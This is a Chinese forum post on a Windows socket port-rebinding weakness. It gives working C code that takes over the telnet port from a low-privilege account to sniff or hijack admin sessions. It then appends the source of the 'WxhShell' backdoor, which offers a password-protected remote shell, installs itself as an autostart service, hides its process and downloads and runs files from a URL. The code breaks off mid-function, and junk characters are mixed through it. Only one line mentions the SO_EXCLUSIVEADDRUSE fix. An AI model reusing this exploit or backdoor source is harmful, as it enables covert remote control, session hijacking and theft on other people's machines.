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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Vq3gceo'0A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sU) TXL'_!  
[>W"R1/  
  saddr.sin_family = AF_INET; KQG-2oW  
EMVk:Vt]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1R0ffP]  
?QCmSK=L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w)+wj[6 E  
V]I:2k5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?PBa'g  
QGs1zfh*  
  这意味着什么?意味着可以进行如下的攻击: uh]"(h(>  
z$JX'(<Z7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +hE',i.  
a q3~!T;W  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3lo;^KX !  
J|V K P7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X}ZlWJ  
XD PL;(?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  BjJ,"sT  
K)\(wxv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4p.^'2m  
z;i4N3-:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &&[zT/]P  
>_XOc  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `NBbTQtgO  
A_!QrM  
  #include O0^?f/&k  
  #include >T<6fpXuk2  
  #include \|CPR6I  
  #include    10p8|9rE}B  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6cJ<9i &  
  int main() ` ^DjEdUN  
  { 0,HqE='w  
  WORD wVersionRequested;  %BUEX  
  DWORD ret; 4-mVB wq  
  WSADATA wsaData; 3Jk[/ .h  
  BOOL val; 6+.>5e  
  SOCKADDR_IN saddr; a:85L!~:l  
  SOCKADDR_IN scaddr; n.*3,4.]  
  int err; PU W[e%  
  SOCKET s; i+g~ Uj}h  
  SOCKET sc; ,V,f2W 4  
  int caddsize; =I2@/,  
  HANDLE mt; 4SgF,ac3r  
  DWORD tid;   sf(i E(o  
  wVersionRequested = MAKEWORD( 2, 2 ); S}[l*7  
  err = WSAStartup( wVersionRequested, &wsaData ); |6aJwe+*  
  if ( err != 0 ) { 3UdU"d[75  
  printf("error!WSAStartup failed!\n"); v:E;^$6Vn  
  return -1; iOXZ ]Xj5  
  } i[\w%(83Fi  
  saddr.sin_family = AF_INET; / s,tY74'5  
   e@E17l-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #ZJMlJ:q`"  
Vtr3G.P^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~.J,A\F  
  saddr.sin_port = htons(23); tJNIr5o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) av-#)E  
  { bNGCOj  
  printf("error!socket failed!\n"); [)^mBVht  
  return -1; GF8 -_X  
  } we3tx{j  
  val = TRUE; hq=,Z1J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ojq]HM6f  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zJ+3g!  
  { mzWP8Hlw  
  printf("error!setsockopt failed!\n"); \<~}o I  
  return -1; N2BI_,hI1  
  } i31<].|kA*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `H>b5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t2- ^-g6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,MQVE  
Oe51PEqn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #E DEYEW7  
  { 9Hd;35 3Q  
  ret=GetLastError(); =.*98  
  printf("error!bind failed!\n"); `1Zhq+s  
  return -1; B:< ]Hl$  
  } y` yZ R _  
  listen(s,2); U&UKUACn"  
  while(1) 44\cI]!{  
  { kZLMtj-   
  caddsize = sizeof(scaddr); 4U=75!>  
  //接受连接请求 T>A{ qu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dH\XO-Z7v  
  if(sc!=INVALID_SOCKET) >O#grDXb  
  { 24u x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2?W7I/F  
  if(mt==NULL) 5rb-U7 /  
  { ZtK\HDdp  
  printf("Thread Creat Failed!\n"); Gh}yb-$N`&  
  break; 1svi8wh  
  } 9xFO]Y"  
  } \=;uu_v$  
  CloseHandle(mt); Ye5jB2Z  
  } w\Mnu}<e$  
  closesocket(s); ;#1Iiuh  
  WSACleanup(); 6BocGo({  
  return 0; tu0aD%C  
  }   .$&Q[r3Lu  
  DWORD WINAPI ClientThread(LPVOID lpParam) e4`uVq5  
  { G,XPT,:%  
  SOCKET ss = (SOCKET)lpParam; d;7 uFh|o  
  SOCKET sc; #DFV=:|~  
  unsigned char buf[4096]; <@G8ni  
  SOCKADDR_IN saddr; KVPR}qTP;  
  long num; BQ/PGY>  
  DWORD val; \L # INP4~  
  DWORD ret; hIYTe  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }^-<k0A4?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yHeEobvb  
  saddr.sin_family = AF_INET; 4nqoZk^R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w8Vw1wW  
  saddr.sin_port = htons(23); \, &9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @?kM'*mrZM  
  { oH#v6{y  
  printf("error!socket failed!\n"); Pm+tQ  
  return -1; RO&H5m r%@  
  } ^ B/9{0n'  
  val = 100; 4-R^/A0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N@xg:xr  
  { CSTI?A"P  
  ret = GetLastError(); g5Z#xszj+  
  return -1;  En6H%^d2  
  } p`F9Amb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `_vB+a  
  { V0*3;n  
  ret = GetLastError(); .fYZ*=P;c  
  return -1; _:g&,2bc  
  } _Ov;4nt!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 445o DkG  
  { amWD-0V  
  printf("error!socket connect failed!\n"); zR;X*q"T$4  
  closesocket(sc); \.uc06  
  closesocket(ss); wQ+8\ s=  
  return -1; Zg~nlO2  
  } "*z_O  
  while(1) UPiW73Nu  
  { &a,OfSz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5 2_#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 a4 MZ;5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0aI;\D*Ts  
  num = recv(ss,buf,4096,0); TUIk$U?/I  
  if(num>0) 1f'Hif*r_X  
  send(sc,buf,num,0); 'heJ"k?  
  else if(num==0) `J0i.0p  
  break; o>Er_r  
  num = recv(sc,buf,4096,0); 6w[}&pX"z  
  if(num>0) N K]B?  
  send(ss,buf,num,0); V 9wI\0  
  else if(num==0)  m#vL*]c}  
  break; \x{;U#B[3>  
  } l_rn++  
  closesocket(ss); L!Cz'm"Nl  
  closesocket(sc); !v.9"!' N  
  return 0 ; Pmg)v!"  
  } (ll*OVL  
iRV~Il#~!  
FR[ B v  
========================================================== fvq,,@23  
OZY,@c  
下边附上一个代码,,WXhSHELL H)w(q^i  
S~Z|PLtF  
========================================================== ^Xb7[ +I6  
= &wmWy  
#include "stdafx.h" l_tw<`Ep  
%V`F!D<D  
#include <stdio.h> ulFzZHJ  
#include <string.h> wXMDh$  
#include <windows.h> $~0Q@):  
#include <winsock2.h> '*^yAlgtt  
#include <winsvc.h> /iC;%r1L  
#include <urlmon.h> N==ZtKj F  
/cr}N%HZB  
#pragma comment (lib, "Ws2_32.lib") :~Q!SL N  
#pragma comment (lib, "urlmon.lib") }R[#?ty;]  
uMb> xxf  
#define MAX_USER   100 // 最大客户端连接数 WEg6Kz  
#define BUF_SOCK   200 // sock buffer PNOGN|D  
#define KEY_BUFF   255 // 输入 buffer "\W-f  
CT9   
#define REBOOT     0   // 重启 6lwta`2  
#define SHUTDOWN   1   // 关机 2T@GA 1G  
kd`0E-QU  
#define DEF_PORT   5000 // 监听端口 im7nJQ^H$q  
}v9\F-0>Q  
#define REG_LEN     16   // 注册表键长度 1=sXdcy;  
#define SVC_LEN     80   // NT服务名长度 Q5{Pv}Jx  
w]b,7QuNz  
// 从dll定义API '^BV_QQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '>$EOg"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X,aYK;q%z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `afIYXP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U[L9*=P;  
RO;Bl:x4  
// wxhshell配置信息 p(;U@3G  
struct WSCFG { ,;?S\V  
  int ws_port;         // 监听端口 =gfI!w  
  char ws_passstr[REG_LEN]; // 口令 \<Sv3xy&O  
  int ws_autoins;       // 安装标记, 1=yes 0=no YJg,B\z}  
  char ws_regname[REG_LEN]; // 注册表键名 0~wF3BgV  
  char ws_svcname[REG_LEN]; // 服务名 n+@F`]K e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (&|_quP7O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &AVpLf:?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {t"+ 3zy'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wbDM5%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FLg*R/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )#|<w9uec  
f<=Fsl  
}; ;*ix~taL%  
]5~s "fnG  
// default Wxhshell configuration \!IMaB]  
struct WSCFG wscfg={DEF_PORT, ^;,M}|<h  
    "xuhuanlingzhe", a?|vQ*W  
    1, *<N3_tx"  
    "Wxhshell", Djk C  
    "Wxhshell", Uz cx6sw  
            "WxhShell Service", 2%*MW"Q  
    "Wrsky Windows CmdShell Service", ] Z8Vj7~  
    "Please Input Your Password: ", HEL!GC>#  
  1, c_aZ{S  
  "http://www.wrsky.com/wxhshell.exe", 5D M"0  
  "Wxhshell.exe" MuoF FvAA  
    }; g%F"l2M  
~\x:<)  
// 消息定义模块 &l$Q^g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %ms'n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Wg{k$T_>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lis/`B\x  
char *msg_ws_ext="\n\rExit."; h)~=Dm  
char *msg_ws_end="\n\rQuit."; m)V/L]4  
char *msg_ws_boot="\n\rReboot..."; f\'{3I29  
char *msg_ws_poff="\n\rShutdown..."; !O\;Nua  
char *msg_ws_down="\n\rSave to "; (feTk72XX  
'$4O!YI9@  
char *msg_ws_err="\n\rErr!"; G} eUL|S  
char *msg_ws_ok="\n\rOK!"; 8WE{5#oi  
0 a]/%y3V  
char ExeFile[MAX_PATH]; ~~/xR s  
int nUser = 0; ^c~)/F/cF  
HANDLE handles[MAX_USER]; LjL[V'JL  
int OsIsNt; %WqNiF0-  
{`2R,Jb%S  
SERVICE_STATUS       serviceStatus; E?(xb B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H|cNH=  
85 EQ5yY  
// 函数声明 ,-x!$VqS  
int Install(void); OD' ]:  
int Uninstall(void); 1B),A~Ip  
int DownloadFile(char *sURL, SOCKET wsh); Ii7QJ:^  
int Boot(int flag); y_xnai  
void HideProc(void); aP'"G^F   
int GetOsVer(void); 0]D0{6x8  
int Wxhshell(SOCKET wsl); |ZodlYF  
void TalkWithClient(void *cs); n wI!O  
int CmdShell(SOCKET sock); BpX6aAx  
int StartFromService(void); n|GaV  
int StartWxhshell(LPSTR lpCmdLine); LZMYr  
hhoEb(BA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y#!h9F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4f(Kt,0  
V\(:@0"  
// 数据结构和表定义 )%!XSsY.N|  
SERVICE_TABLE_ENTRY DispatchTable[] = u?s VcD[  
{ 8M@BG8  
{wscfg.ws_svcname, NTServiceMain}, 0%!rx{f#\  
{NULL, NULL} RwS@I /  
}; Y>jiXl?&  
"c}@V*cO<d  
// 自我安装 5*[2yKsTi  
int Install(void) 3\T2?w9u(  
{ (KvROV);  
  char svExeFile[MAX_PATH]; g$. \  
  HKEY key; @( n^T  
  strcpy(svExeFile,ExeFile); Ltjbxw"Qd  
=] 3tUD  
// 如果是win9x系统,修改注册表设为自启动 bc , p }  
if(!OsIsNt) { <b/~.$a'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FI"`DMb}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oD}uOC}FS{  
  RegCloseKey(key); E( us'9c   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EGl^!.'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "UwH\T4I  
  RegCloseKey(key); czlFr|O;  
  return 0; 1s1=rZ!  
    } 5U_H>oD  
  } 5SkW-+$  
} 5>AX*]c  
else { }w4QP+ x  
\M'-O YH_[  
// 如果是NT以上系统,安装为系统服务 gWY "w!f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m7T)m0  
if (schSCManager!=0) h*ZC*eV>  
{ fib}b? vk  
  SC_HANDLE schService = CreateService 3> /K0N|$  
  ( !|c|o*t{  
  schSCManager, +2 Af&~T  
  wscfg.ws_svcname, OT'[:|x ;  
  wscfg.ws_svcdisp, C"IKt  
  SERVICE_ALL_ACCESS, ja=F7Usb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1~ $);US  
  SERVICE_AUTO_START, lsN~*q?~]  
  SERVICE_ERROR_NORMAL, 02BuX]_0g  
  svExeFile, |d6T/Uxo  
  NULL, :_M;E"9R  
  NULL, =)|-?\[w  
  NULL, Q]p(u\*  
  NULL, mDZ*E!B  
  NULL tE7[Smzuf  
  ); xeGb?DPu  
  if (schService!=0) \c^45<G2qA  
  { ? `J[[",  
  CloseServiceHandle(schService); ~}Rj$%_  
  CloseServiceHandle(schSCManager); H(Eh c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I@\OaUGr+  
  strcat(svExeFile,wscfg.ws_svcname); BC'llD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9)VF 1LD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [ Bl c^C{f  
  RegCloseKey(key); }B~If}7  
  return 0; imiR/V>N  
    } RoAlf+&Qb  
  } O#Wh TDF"  
  CloseServiceHandle(schSCManager); i*CZV|t US  
} ?.Pg\ur  
} ]r_;dYa  
aM4k *|H?  
return 1; z2Z^~, i  
} 7=(Hy\Q5xH  
a'\o 7_  
// 自我卸载 Mfv1Os:ST  
int Uninstall(void) t|m=J`a{q;  
{ q{+_ <2U|  
  HKEY key; |r bWYl.b  
{/pm<k=  
if(!OsIsNt) { ;NRF=d>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d|4}obCt  
  RegDeleteValue(key,wscfg.ws_regname); `O'`eY1f  
  RegCloseKey(key); 3MRc 4UlB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y3O#Q)-j$  
  RegDeleteValue(key,wscfg.ws_regname); fxT-j s#S  
  RegCloseKey(key); J:skJ.Wx  
  return 0; I[n ^{8gz  
  } 8mQmi`  
} 6]-SK$  
} ur$l Z0  
else { Afk$?wkL  
yV^s,P1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Uk\Id ~xLV  
if (schSCManager!=0) H<1WbM:w  
{ S6[v;{xJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 36am-G  
  if (schService!=0) MeUaTJFEB  
  { ?mlNL/:  
  if(DeleteService(schService)!=0) { xC tmXo  
  CloseServiceHandle(schService); E }ZJ)V7  
  CloseServiceHandle(schSCManager); A2|Ud_  
  return 0; )Y)pmjZaG  
  } _/O25% l  
  CloseServiceHandle(schService); +k`!QM>e-  
  } +E1h#cc)  
  CloseServiceHandle(schSCManager); <vwkjCA`  
} Onwp-!!.  
} ~,*b }O  
@'GGm#<   
return 1; ]7e =fM9V;  
} hqRw^2F  
u,6~qQczE  
// 从指定url下载文件 }3?n~s\)6f  
int DownloadFile(char *sURL, SOCKET wsh) \_B[{e7z  
{ %RDI!e<e}  
  HRESULT hr; Qca&E`~Q  
char seps[]= "/"; 7NJhRz`_  
char *token; )&!&AlLn  
char *file; :kGU,>BN  
char myURL[MAX_PATH]; nR`ov1RH  
char myFILE[MAX_PATH]; ;amXY@RmH  
B7!3-1<k>  
strcpy(myURL,sURL); !o$!Frc  
  token=strtok(myURL,seps); aE2.L;Tk?  
  while(token!=NULL) t]-5 ]oI  
  { [p<w._b i  
    file=token; oJfr +3I  
  token=strtok(NULL,seps); F;]%V%F.X  
  } -a-(r'Qc(  
[Jv@J\  
GetCurrentDirectory(MAX_PATH,myFILE); #t+d iR  
strcat(myFILE, "\\"); YIjTL!bA"  
strcat(myFILE, file); nvPwngEQm  
  send(wsh,myFILE,strlen(myFILE),0); q`r**N+zn  
send(wsh,"...",3,0); l'eyq}&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !/wtYI-`  
  if(hr==S_OK) mrw=T.  
return 0; *M"}z  
else h2D>;k  
return 1; %V nbmoO  
>FkWH7  
} R2 V4#  
XcjRO#s\  
// 系统电源模块 0L/n?bf  
int Boot(int flag) CvD "sHVq%  
{ q|),`.eh\  
  HANDLE hToken; Q@HopiC  
  TOKEN_PRIVILEGES tkp; eow'K 821A  
}I>tO9M  
  if(OsIsNt) { LEtG|3Dx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k`N^Vdr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5s]. @C8  
    tkp.PrivilegeCount = 1; 9th,VnD0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^- d%r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *Em,*!  
if(flag==REBOOT) { R~6$oeWAw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) % oo2/aF  
  return 0; hzvd t  
} P ! _rEV  
else { &e!7Z40w@&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @!1x7%]G  
  return 0; .*)2SNH  
} w Y_)y  
  } zld#qG6  
  else {  .P"D  
if(flag==REBOOT) { mV pMh#zw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5wDg'X]>V  
  return 0; Kh_Lp$'0uM  
} AQwdw>I-FX  
else { 53n^3M,qK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ilqy /fL#  
  return 0; (:> ,u*x%  
} m*kl  
} 1bn^.768l  
736Jq^T  
return 1; XSyHk"g`  
} m+T;O/lG0{  
e-EUf  
// win9x进程隐藏模块 D1=((`v '  
void HideProc(void) ys kO  
{ Z '7  
P`cq H(   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?BZPwGMs  
  if ( hKernel != NULL ) I<6P;  
  { ~G6Ox)/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @pRlxkvV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ][p>Y>:b-  
    FreeLibrary(hKernel); ~XmLX)vO/  
  } G VYkJ0,  
Yz +ZY  
return;   t!_<~  
} ElW~48  
1^}[&ar  
// 获取操作系统版本 |$ lM#Ua  
int GetOsVer(void) @X;!92i  
{ /k,-P  
  OSVERSIONINFO winfo; kZGRxp9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DBr ZzA  
  GetVersionEx(&winfo); lSVp%0jR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fO[+LR 'ax  
  return 1; 2`N,,  
  else ~yW4)4k;b  
  return 0; %/zbgS`  
} }%{LJ}\Px  
=V-|#j  
// 客户端句柄模块 TI,&!E?;  
int Wxhshell(SOCKET wsl) FwkuC09tI  
{ HOJs[mqB%  
  SOCKET wsh; `3WFjU 5a  
  struct sockaddr_in client; ^<a t'jk6  
  DWORD myID; gL *>[@RO  
_8F`cuyW  
  while(nUser<MAX_USER) q %"VYt4  
{ st:`y=F_  
  int nSize=sizeof(client); os:A]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0vD7v  
  if(wsh==INVALID_SOCKET) return 1; S]Mw #O|  
]rH\`0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MS 81sN\d  
if(handles[nUser]==0) 9Hb6nm  
  closesocket(wsh); tne ST.  
else L"1}V  
  nUser++; /)}q Xx&  
  } PuA9X[=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K1+)4!}%U  
BMG3|N^  
  return 0; xg;+<iW  
} YSic-6z0Ms  
lJ}_G>GJ  
// 关闭 socket q=Sgk>NA  
void CloseIt(SOCKET wsh) %Q fO8P  
{ e]$}-i@#  
closesocket(wsh); sHt].gZ  
nUser--; y[)>yq y  
ExitThread(0); ?R$F)g7<  
} g4=pnK8  
/-_h1.!   
// 客户端请求句柄 \F/hMXDlJ  
void TalkWithClient(void *cs) 4gz H8sF  
{ d"*uBVzXm  
}Mp:JPH&S4  
  SOCKET wsh=(SOCKET)cs; O7-mT8o  
  char pwd[SVC_LEN]; [S9K6%w_!  
  char cmd[KEY_BUFF]; ;5S9y7[i|  
char chr[1]; 1Z+8r  
int i,j; W14 J],{L  
8<pzb}xK  
  while (nUser < MAX_USER) { p6#g;$V$  
i1NY9br  
if(wscfg.ws_passstr) { t\~P:"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |y!=J$ $_H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /v1Q4mq  
  //ZeroMemory(pwd,KEY_BUFF); w[zjerH3  
      i=0; =hC,@R>;  
  while(i<SVC_LEN) { 93("oBd[s(  
1{ ~#H<K  
  // 设置超时 p.v0D:@&  
  fd_set FdRead; QkEvw<  
  struct timeval TimeOut; `1$@|FgyC  
  FD_ZERO(&FdRead); "55skmD.P  
  FD_SET(wsh,&FdRead); tl,.fjZn  
  TimeOut.tv_sec=8; =[cS0Sy  
  TimeOut.tv_usec=0; (|:M&Cna]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vNV/eB8#S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pfA|I*`XV  
v &Yi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ai=s e2  
  pwd=chr[0]; N kb|Fd/s  
  if(chr[0]==0xd || chr[0]==0xa) { G'Q-An%z  
  pwd=0; fTS5 yb%  
  break;  *'.|9W  
  } `scR*]f1+  
  i++; q<[P6}.  
    } zZPuha8  
e6R}0w~G  
  // 如果是非法用户,关闭 socket .h@rLorm>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "7'J &^|  
} R_W+Ylob  
n'wU;!W9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =n5zM._S-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8_BV:o9kL  
J>wt (] y  
while(1) { NO "xL,  
F\JM\{&F  
  ZeroMemory(cmd,KEY_BUFF); :~e>Ob[,"  
R]c+?4J  
      // 自动支持客户端 telnet标准   I5 o)_nc  
  j=0; TJ_$vI  
  while(j<KEY_BUFF) { &=Ar  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z &Pg"a?\  
  cmd[j]=chr[0]; bH7X'%r  
  if(chr[0]==0xa || chr[0]==0xd) { E4`N-3  
  cmd[j]=0; ]/[FR5>  
  break; TyD4|| %  
  } !"HO]3-o  
  j++; J*yf2&lI5  
    } R]}}$R`j  
]i&6c  
  // 下载文件 3 }TaF~  
  if(strstr(cmd,"http://")) { 0%9 q8 M;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~ -4{B  
  if(DownloadFile(cmd,wsh)) :~b3^xhc^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lGPUIoUo  
  else Bn=by{i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .0S~872  
  } Uol|9F  
  else { B:b5UD  
AF;)#T<  
    switch(cmd[0]) { rn/ /%  
  <r .)hT"0  
  // 帮助 bR*-Ht+wd  
  case '?': { KyVQh8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ocqU=^ta  
    break; 1tEgl\u\  
  } wKtl+}}  
  // 安装 kw >v:F<M  
  case 'i': { W]"zctE  
    if(Install()) Tzt8h\Q^z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )M,Of Xa  
    else c(3~0Yr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &oP +$;Y  
    break; 9Tg IB  
    } 'DY`jVwa  
  // 卸载 CY 4gSe?  
  case 'r': { K SbKEA  
    if(Uninstall()) y6ECdVF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IpINH3odT  
    else h;C5hU 4P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *rM^;4Zt  
    break; ,0~^>K  
    } G"-?&)M#a  
  // 显示 wxhshell 所在路径 (7mAt3n k  
  case 'p': { (|[2J3ZET  
    char svExeFile[MAX_PATH]; d?s<2RkPT  
    strcpy(svExeFile,"\n\r"); ~ZmN44?R  
      strcat(svExeFile,ExeFile); oz,np@f)J  
        send(wsh,svExeFile,strlen(svExeFile),0); Jv>gwV{  
    break; j#X.KM   
    } s [M?as  
  // 重启 N+m)/x =:  
  case 'b': { #zG&|<hc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R?GDJ3  
    if(Boot(REBOOT)) \kp8S'qVo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;\a YlV-  
    else { %7"q"A r[  
    closesocket(wsh); _BM" ]t*  
    ExitThread(0); n G,A@/N  
    } 49rf7NT-g  
    break; X}=n:Ql'YY  
    } ^`*9QjY  
  // 关机 Y'c>:;JEe  
  case 'd': {  |XT)QK1  
